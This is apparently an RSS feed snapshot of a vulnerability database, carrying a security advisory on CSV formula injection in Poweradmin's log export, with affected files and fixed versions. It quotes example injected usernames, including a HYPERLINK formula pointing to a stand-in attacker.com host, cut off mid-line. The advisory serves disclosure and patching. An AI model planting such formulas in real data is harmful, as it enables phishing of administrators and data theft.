https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-07T21:02:30.344582+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-329861 EUVD-2026-329861 2026-10-07T21:02:30.375672+00:00 EUVD-2026-329861 https://cve.radiocsirt.org/vuln/fkie_cve-2026-47693 fkie_cve-2026-47693 2026-10-07T21:02:30.375710+00:00

Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 are vulnerable to CSV Injection (Formula Injection) in its log export functionality. User-controlled data — specifically the username field — is written to exported CSV files without sanitizing formula trigger characters (=, +, -, @). When an administrator exports activity logs and opens the resulting CSV in a spreadsheet application (Microsoft Excel, LibreOffice Calc, Google Sheets), any formula stored in a username is executed by the application. This can be used for phishing attacks against administrators or data exfiltration. Versions 4.2.4 and 4.3.3 patch the issue.

 https://cve.radiocsirt.org/vuln/ghsa-3h6h-67x3-cv5x GHSA-3h6h-67x3-cv5x — Poweradmin: CSV Injection in log export endpoints allows formula execution in spreadsheet applications 2026-10-07T21:02:30.375748+00:00

Affected: Packagist: poweradmin/poweradmin

Description:

### Summary

Poweradmin v4.4.0 is vulnerable to CSV Injection (Formula Injection) in its log export functionality. User-controlled data — specifically the username field — is written to exported CSV files without sanitizing formula trigger characters (=, +, -, @). When an administrator exports activity logs and opens the resulting CSV in a spreadsheet application (Microsoft Excel, LibreOffice Calc, Google Sheets), any formula stored in a username is executed by the application. This can be used for phishing attacks against administrators or data exfiltration.

### Details

The vulnerability exists in all four log export controllers:

- `lib/Application/Controller/ListLogUsersController.php` (lines 188, 194) - `lib/Application/Controller/ListLogZonesController.php` - `lib/Application/Controller/ListLogGroupsController.php` - `lib/Application/Controller/ListLogApiController.php`

These controllers export database rows via `fputcsv()` without applying any formula injection countermeasures. The `user` column contains the username of the actor who performed the operation, and the `username` column (in user logs) contains the username of the affected account. Both fields are written verbatim to the CSV output.

A username such as `=1+1` is written **without CSV enclosure quotes** (because it contains no commas or quotes), so spreadsheet applications treat it directly as a formula. A username containing commas or quotes (e.g. `=HYPERLINK("http://attacker.com","Click h…